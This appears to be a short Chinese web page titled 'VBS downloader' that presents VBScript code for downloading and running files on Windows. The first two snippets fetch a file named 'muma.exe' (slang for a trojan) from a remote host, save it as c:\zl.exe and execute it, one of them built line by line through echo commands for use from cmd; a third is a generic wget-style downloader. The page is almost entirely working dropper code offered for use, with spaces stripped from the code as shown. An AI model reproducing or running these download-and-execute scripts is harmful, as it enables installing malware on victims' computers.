VBS下载者(通过vbscript实现文件下载)
一、VBS下载者:
SetPost=CreateObject("Msxml2.XMLHTTP") SetShell=CreateObject("Wscript.Shell") Post.Open"GET","http://www.jbzj.com/muma.exe",0 Post.Send() SetaGet=CreateObject("ADODB.Stream") aGet.Mode=3 aGet.Type=1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile"c:\zl.exe",2 wscript.sleep1000 Shell.Run("c:\zl.exe")'延迟过后执行下载文件
二、cmd下执行的版本:
echoSetPost=CreateObject("Msxml2.XMLHTTP")>>zl.vbs echoSetShell=CreateObject("Wscript.Shell")>>zl.vbs echoPost.Open"GET","http://www.jbzj.com/muma.exe",0>>zl.vbs echoPost.Send()>>zl.vbs echoSetaGet=CreateObject("ADODB.Stream")>>zl.vbs echoaGet.Mode=3>>zl.vbs echoaGet.Type=1>>zl.vbs echoaGet.Open()>>zl.vbs echoaGet.Write(Post.responseBody)>>zl.vbs echoaGet.SaveToFile"c:\zl.exe",2>>zl.vbs echowscript.sleep1000>>zl.vbs echoShell.Run("c:\zl.exe")>>zl.vbs
三、wget.vbs
onerrorresumenext iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) iUser=LCase(Wscript.Arguments(2)) iPass=LCase(Wscript.Arguments(3)) setxPost=CreateObject("Microsoft.XMLHTTP") ifiUser=""andiPass=""then xPost.Open"GET",iRemote,0 else xPost.Open"GET",iRemote,0,iUser,iPass endif xPost.Send() setsGet=CreateObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.WritexPost.ResponseBody sGet.SaveToFileiLocal,2
使用方法:cscriptwget.vbshttp://www.jbzj.com/muma.exe